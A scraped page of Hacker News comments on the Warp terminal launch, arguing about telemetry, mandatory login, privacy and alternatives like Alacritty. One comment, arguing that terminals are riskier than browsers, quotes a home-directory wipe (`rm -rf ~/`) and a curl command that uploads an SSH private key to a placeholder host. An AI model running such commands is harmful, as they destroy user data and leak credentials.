Live data from Hacker News

Show HN: Warp, a Rust-based terminal

warp.dev

421–430 of 757 posts

Re: Show HN: Warp, a Rust-based terminal

#421

This is really interesting. I have been annoyed for a long time on how ssh, the terminal emulator, tmux, and the shell don't know anything about each other. I also started writing a native terminal emulator (no electron, of course) to fix these problems. I kind of thought I'd do the slow burn over 4 or 5 years of using it myself (being a shell sadly means writing a programming language, and you don't make a good one…

Yes perhaps what we need is a "rampant layering violation" in the terminal world. ZFS showed how to build an awesome filesystem by breaking pre-existing boundaries. Can something similar happen between shell, terminal, tools, etc?

Re: Show HN: Warp, a Rust-based terminal

#422
post #374
post #99

Earlier quoted context omitted.

Also: security? I expect my terminal to be a much more secure environment than my web browser. When an application starts communicating with the internet, I have no choice but to treat it with the same level of scrutiny as my browser. Even making telemetry opt-in means that it has the capability to send information to the internet that I don’t know about, which means that I have to treat it like an application that c…

> I expect my terminal to be a much more secure environment than my web browser. Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com ` and that just 2 of 1000s. JS on your browser can do none of those. Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal…

That's security vs. safety. You're pointing out that a terminal allows the user to do perform actions that could be unsafe. These actions or JS in the browser are a security risk because they can perform actions without the user's awareness or consent.

Re: Show HN: Warp, a Rust-based terminal

#423
post #327

Excitedly downloaded this, launched it, and then was met with a login screen. wop wop. I closed it and deleted it. I don't understand. Why is login a requirement to even use it? Why not have an excellent free terminal as a way to get people using your tools, and then add the collaborative/audit features as paid features? That way many devs would not only start using this, but can make it a part of their daily workflo…

Hi - Warp engineer here! Fully understand your disappointment and hesitation.

The terminal is totally free for individuals. The general philosophy is that we would never charge for anything a terminal currently does. So no paywalls around SSH or anything like that.

You're totally right in that the collaborative/audit features are a good fit for being paid features. Our business model will be around charging companies for team features.

For our public beta, we do send telemetry and we do associate it with the logged in user because it makes it much easier to reach out and get feedback when something goes wrong. But we only track metadata, never console input or output. For an exhaustive list of events that we track, see here: https://docs.warp.dev/getting-started/privacy#exhaustive-tel.... If this is uncomfortable to you, please wait for Warp to enter General Availability. At that point our plan is to make telemetry opt-in and anonymous.

Re: Show HN: Warp, a Rust-based terminal

#424
post #354

Earlier quoted context omitted.

If they start out evil, then don't expect them to change.

Usually the practice in these scenarios is to try out all possible ways to make out money and then go a little backwards once the public outcry is big enough. At some point you find the most profitable balance situation, before you have expelled all customers.

There is a plethora of free GPU-accelerated terminals. Alacritty, kitty, foot, wezterm, etc. None of these as far as I know send telemetry data. I see no reason to think that a new terminal is going to make money somehow by finding a balance.

Re: Show HN: Warp, a Rust-based terminal

#426
post #20

Wanted to give it a shot but got disappointed when I launched it and the following happened: - Outgoing request to googleapis.com - Outgoing request to segment.io - Outgoing request to sentry.io - Requires sign up (only via Github, mind you) I understand the first request is probably to get some dynamic configuration, even though I'd rather my terminal ship with static configuration. But then you have segment and sen…

yeah, hard pass

edit: no windows or linux support ???

Re: Show HN: Warp, a Rust-based terminal

#427

If you want to use a terminal that is actually open source and doesn't have telemetry, much less only available via signing in with GitHub, use Alacritty, also written in Rust and cross platform. https://github.com/alacritty/alacritty

First of all, we love Alacritty: our terminal model code is based on Alacritty’s model code. We’re grateful that a few of the collaborators reviewed our early design docs.

We think the two products are meant for two different audiences.

Alacritty has a very minimalist philosophy that suits some terminal power users very well. It’s geared towards folks who are familiar with more advanced tools like tmux, and who are comfortable doing advanced configuration in the shell. For instance, Alacritty has no tabs: users are expected to use tmux.

With Warp, you get similar performance to Alacritty (we are both Rust-based, GPU-accelerated native apps, and Warp leverages some of Alacritty’s model code) But you also get many more built-in features that we think make all developers more productive, like:

- Blocks (grouping commands and outputs together)

- A modern text editor for your input

- Features like Workflows and AI command search that help you perform tasks faster

- Tabs, native split panes, and menus

Re: Show HN: Warp, a Rust-based terminal

#429
post #20

Wanted to give it a shot but got disappointed when I launched it and the following happened: - Outgoing request to googleapis.com - Outgoing request to segment.io - Outgoing request to sentry.io - Requires sign up (only via Github, mind you) I understand the first request is probably to get some dynamic configuration, even though I'd rather my terminal ship with static configuration. But then you have segment and sen…

Also, sorry if this is harsh but speaking my mind: why is important to mention what the underlying programming language is?

It seems like misdirection and sleezy marketing. Products built with Rust are particularly susceptible to it.

Post reply on HN